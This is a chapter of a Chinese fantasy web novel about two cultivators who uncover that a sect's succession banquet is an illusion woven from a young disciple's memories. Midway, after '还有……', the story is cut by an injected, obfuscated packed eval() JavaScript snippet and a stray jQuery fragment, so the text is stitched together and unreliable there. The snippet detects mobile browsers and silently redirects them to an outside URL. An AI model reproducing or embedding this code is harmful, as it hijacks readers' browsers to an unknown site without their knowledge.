“等等。”谢照乘突然阻止道:“还是等我们出去了再看吧。”
“师姐,既然是谢公子的一番心意那还是先打开看了吧。”
谢照乘假笑道:“这怨阵来得奇怪,还是先调查清楚为好。”
说罢不等霍不染反应,径直用扇子推了推她的手。
霍不染不堪其扰只好把信放入怀中。
谢公子潇洒地摇了下扇子。
“胆小鬼。”宁满在一旁小声嘀咕道。
谢公子充耳不闻,转头道:“黑雾散得挺快。”
原本的乌云已经逐渐向天边散去,千灯集市的原本面貌显露出来。行人来来往往,好几家摊贩都在抱怨。
“这乌云来得真是不巧。原本我摊子前头有好几个客人在挑花,被它这么一遮一个子也没赚到。”
“就是!光有黑云也不打雷下雨,这天气真是奇怪。”
站在墙角的三人听到这里,不约而同对视一眼。
“看来这黑雾对于他人而言只是普通的乌云。”霍不染默默听着摊贩的闲话,却被身前扭来扭去的谢照乘打乱思绪。
“老庞他们人呢?”谢照乘频频望向之前说好的撒花地点,却不见一个熟脸。他不由疑惑道:“该不会压根没来吧?说得好听什么桃花雨下心意自然成,我看他们就没个靠谱的。”
“什么桃花雨?谢公子你要表——”宁满的声音从身后传来。
谢照乘吓了一跳,发现霍不染也正好望过来,他情急之下轮椅一转直接碾在宁满的脚背上。
“唔——!”可怜的宁满抱着脚满地乱跳。
谢公子扇了两下风,说道:“哎呀呀,我坐轮椅不比你们有脚的,知进退,懂退让。”
“你……你!”宁满手一指,脚砸在地上又是一声哀嚎。
谢公子趁机乐道:“当心些,莫把脚摔断了。”
“……”
宁满委屈巴巴地躲到了师姐身后。
又胜一轮,谢公子得意地抬起下巴。
任谁看了也难以把他和幻境中哭唧唧的小胖子联系在一起。
就在这时,悠扬浑厚的钟声从不远处传来。
祈福灯变得更为明亮,集会上的人全都停下脚步,默默闭眼祈祷。
寂静之中,唯有六次撞钟之声传至耳畔。
“敲响钟声,应是继任大典的最后一道流程。”霍不然拧眉道:“看来我们在阵中耽搁太久,钟师兄已经继任掌门。”
她在心中早把钟正当作大哥,如今缺席继任大典不免心中遗憾。
“别板着脸嘛。”谢照乘宽慰道:“大典之后还有宴席,想必老庞他们已经备下好酒好菜等着我们。”
霍不染见他一脸向往的模样,补充道:“应会有鸡腿。”
“……嗯?”
直到坐在清泉剑上返回天玄派,谢公子还在分析霍不染的话。
她绝对不会无缘无故地提到鸡腿,这其中一定有他未想明白的地方。
谢公子暗自思索,把鸡腿二字拆开逐个分析。
最终,他得出结论:霍不染想吃鸡腿了。
“辣椒妹妹说得对,女子的某些需求要我自己去挖掘,只有读懂了她的心思才会走进她的内心。”
谢照乘把扇子拍得啪啪作响,心道:“桃花雨失利,鸡腿阵自然没问题!”
他立刻喊道:“停下,返程!”
此话一出,身后的宁满飞了个白眼,腹诽道:“果然如此!这谢公子不在天上折腾两回,我反而不习惯了。”
霍不染则连眼神也没分过去,直接加快清泉剑的飞行速度。
剑如流星飞向天玄。
转眼之间,三人已至山门口。
“啊呸!”谢公子从嘴里吐出发丝,又气哄哄地梳理着打结的青丝。
真是岂有此理!我好心给她吃鸡腿,她却回敬我满口凉风。
他拿出铜镜细细查看,心中骂道:“女人心是这世上最难以捉摸之物!”
“怎么也不见守门的师弟们。”宁满抓了抓头发奇怪道。
霍不染也从旁边上来查探,“很安静。”
“大概都去前殿参加宴席了吧。”谢公子总算放下铜镜,却又掏出雪白手帕擦了擦不存在的汗珠。
“我说谢公子……”宁满努努嘴,“您这精心打扮的模样不知道的还以为是新嫁娘呢。”
谢照乘自然道:“我为心悦者容。”
说罢,他有些不悦地瞥了眼霍不染。
这一眼不知含了多少怨念,霍不染成功接收并予以回望。
可惜谢公子早就以侧脸对之,浑身散发着孤高的气质。
就在这时,身后传来算盘珠的声音。
三人看去,有过一面之缘的守财奴正在爬台阶。
他拎着包裹苦笑道:“庞飞这个死胖子让我来接你们,没想到你们赶在我前头。”
说罢,他拉起宁满就往里走,“再不走快些宴席都要结束喽!”
霍谢二人对视一眼,紧紧跟上。
四人拐过蜿蜒小径,还未走近高台便听到喧闹之声。
“你这个死胖子!”守财奴一拳打在庞飞肚皮上,后者粗腰一扭灵活躲开。
“哈哈哈,宁满小兄弟来了!”庞飞开心地拍拍肚皮,伸出肉爪拿下守财奴手上的包裹。
“果然是点翠糕。”他迫不及待地打开吃了口,乐道:“总是听闻点翠糕有多好吃,今日总算吃到了。也不枉我庞飞活了这么久。”
“贪吃的死胖子,这好东西当然要先给空竹长老和钟掌门享用。”守财奴在后头想要追回糕点,庞飞却已灵活地登上高台。
高台由二十三层台阶铺就,以三人的视线看不清上面的情景但阵阵笑声倒是听得十分清晰。
“师姐,谢公子,我们也入席吧。”宁满拉着二人登上高台。
眨眼之间,三人已至高台。
霍不染放眼望去,庞飞、高止、若椒、守财奴各个都笑眯眯地看着他们。
她也染上一抹笑意,问道:“空竹道人和钟大哥呢?”
“他们正在里头商量事情呢。”庞飞指了指身后的青铜大门道。
“吃到一半还要议事,扫兴。”若椒嘟起嘴不满道。
“非也,非也。”庞飞吞下一口点翠糕,笑着接口道:“钟师兄刚当上掌门,而空竹掌门又刚当上长老,二位新官上任自然要关起门来好好说道说道。”
众人听了,全都哈哈大笑。
“对了,豆丁们去哪里了?”酒过三巡,谢公子问道。
“里头。”庞飞又指了指那青铜大门。
“原来如此。”谢公子笑着说:“这门内不知是何处?”
“嗝。”宁满打了个酒嗝,兴奋道:“管他是何处,今日真高兴!”
谢公子见他喝得满面红光,又问了句:“今日是什么好日子?”
“废话,自然是钟正师兄继任掌门。”
“还有呢?”
“还有……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070828|176481||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宁满瞥了他一眼,“还有什么?”
谢照乘不答,只摩挲着手中的裂纹玉符与霍不染说道:“他记忆模糊,此处应为四重怨阵。”
“嗯。”清冷的声调如在耳边,“若此刻发生的一切都是小满的记忆,那整个天玄派早在我们来之前就已经举办过继任大典了?”
“没错,只有这样才能解释为何宁满会有这些记忆。”谢公子装作开心地饮下酒,补充道:“怨阵所形成的幻境应该是主人心中最深刻的某段回忆,宁满定是在继任大典上发生了什么事情才会形成这么深的怨阵。”
霍不染看着宁满,这个年龄最小的内门弟子在碎云峰的时候总是板着脸,因为他怕自己阅历浅不能服众于外门弟子。
而在天玄派中,他却能放声大笑,看来这里带给了他很多快乐。
这些对于她来说又何尝不是一种从未体验过的乐趣。
霍不染看着幻境中的人几乎分不清什么是真实什么又是虚妄。
难道从他们传送到天玄派的那刻起,就已经落入了幻境之中?
那些日子的欢声笑语,朝夕相处的众人,把酒言欢的夜晚,这每一处的回忆都是虚假的?
那宁满呢?他还只有十二岁却很可能……
“其实结果也许并没有我们想象中那么坏。”
她转头看去,谢照乘坚定地回望道:“四重境会根据主人的意识篡改回忆。宁满既然会让记忆中的天玄众人‘认识’我们,那就说明他确实与你我在天玄派生活了一段时间。”
“虽然我不能保证他们现下安全。”他鼓起勇气握住了霍不染的手,温热的体温在这片虚无的幻境之中是那么真实。
“但这一切都是你我共同经历。”谢照乘道:“与其沉溺幻境,不如寻找真相。天玄派与宁满的生死之困,还需我们去寻求。”
他从未有如此严肃认真的一面。
霍不染看着他的眼,混乱的思绪逐渐平稳。
那抹犹豫的不如沉溺其中的念头终于从脑海中挥去,她回握了一下,“多谢。”
四重怨阵果真非同凡响,竟然利用她对宁满与天玄派的不舍担心诱她入阵。若不是谢照乘,此刻她恐怕已经沉沦在这幻境编织的美梦之中。
谢照乘笑了下,掏出早就炼制好的两枚药丸。
“看破一切丸。”他调皮地眨了眨眼,“手头没有合适的草药,只能做了个差不多功效的。”
霍不染拿过吃下。
谢照乘则在最后关头看了眼打闹的众人。
谢家后人极难被阵法所迷,可他却很希望这幻境中的一切可以成真。
老庞……辣椒妹妹……豆丁们……你们还欠本公子一场桃花雨,可绝不能有事。
吃下药丸之后,二人的眼珠深处闪过一抹浅金。
睁眼目及之处,人还是那些人,但是他们的身上却多了条血线。
密集的血线汇集在一起,隐入青铜大门之后。
二人对视一眼,同时起身来到青铜门前。
打闹的众人收起笑容,齐齐看向二人。
“老庞。”谢公子笑着迎上前去,“豆丁们怎么去了这么久,你不想去看看吗?”
庞飞僵硬地看了他一眼,没有说话。
“还有钟正师兄。”谢公子看着天玄众人,“你们五人不是说好要时刻在一起吗?怎么可以撇下钟师兄独吞美酒。”
正当他的插科打诨吸引众人注意力之时。
霍不染猛地推开青铜大门。